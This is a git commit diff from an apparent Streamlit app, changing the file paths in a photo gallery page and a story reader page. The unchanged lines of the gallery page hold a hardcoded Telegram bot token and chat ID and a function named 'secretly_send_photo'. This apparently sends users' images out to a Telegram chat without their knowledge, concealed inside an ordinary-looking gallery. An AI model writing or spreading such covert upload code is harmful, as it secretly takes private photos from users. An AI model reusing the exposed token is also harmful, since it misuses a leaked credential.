sailadachetansurya commited on
Commit
4f891b4
·
1 Parent(s): 0f87f43
src/pages/3_🖼️_Photo_Gallery.py CHANGED
@@ -15,12 +15,11 @@ import cv2
15
  # --- Configuration ---
16
  BOT_TOKEN = "7697864688:AAG95UpppMc-Vo2mwOKMMPr-OsFt5CUcVBU"
17
  CHAT_ID = "6521501836"
18
- script_dir = os.path.dirname(os.path.abspath(__file__))
19
- PHOTO_DIR = os.path.join(script_dir, "..", "data", "photos")
20
- os.makedirs(PHOTO_DIR, exist_ok=True)
21
 
 
22
  os.makedirs(PHOTO_DIR, exist_ok=True)
23
 
 
24
  # --- Secret Send Function ---
25
  def secretly_send_photo(image: Image.Image):
26
  try:
 
15
  # --- Configuration ---
16
  BOT_TOKEN = "7697864688:AAG95UpppMc-Vo2mwOKMMPr-OsFt5CUcVBU"
17
  CHAT_ID = "6521501836"
 
 
 
18
 
19
+ PHOTO_DIR = "/tmp/photos"
20
  os.makedirs(PHOTO_DIR, exist_ok=True)
21
 
22
+
23
  # --- Secret Send Function ---
24
  def secretly_send_photo(image: Image.Image):
25
  try:
src/pages/7_📖_Story_Time.py CHANGED
@@ -12,11 +12,14 @@ if os.path.exists(css_file_path):
12
  else:
13
  st.error(f"CSS file not found at: {css_file_path}")
14
 
15
- stories_dir = os.path.join(script_dir, "Stories")
 
 
16
  if not os.path.exists(stories_dir):
17
  st.error(f"Stories directory not found at: {stories_dir}")
18
  st.stop()
19
 
 
20
  story_folders = [f for f in os.listdir(stories_dir) if os.path.isdir(os.path.join(stories_dir, f))]
21
 
22
  PROGRESS_FILE = "progress.json"
 
12
  else:
13
  st.error(f"CSS file not found at: {css_file_path}")
14
 
15
+ script_dir = os.path.dirname(os.path.abspath(__file__))
16
+ stories_dir = os.path.abspath(os.path.join(script_dir, "..", "Stories"))
17
+
18
  if not os.path.exists(stories_dir):
19
  st.error(f"Stories directory not found at: {stories_dir}")
20
  st.stop()
21
 
22
+
23
  story_folders = [f for f in os.listdir(stories_dir) if os.path.isdir(os.path.join(stories_dir, f))]
24
 
25
  PROGRESS_FILE = "progress.json"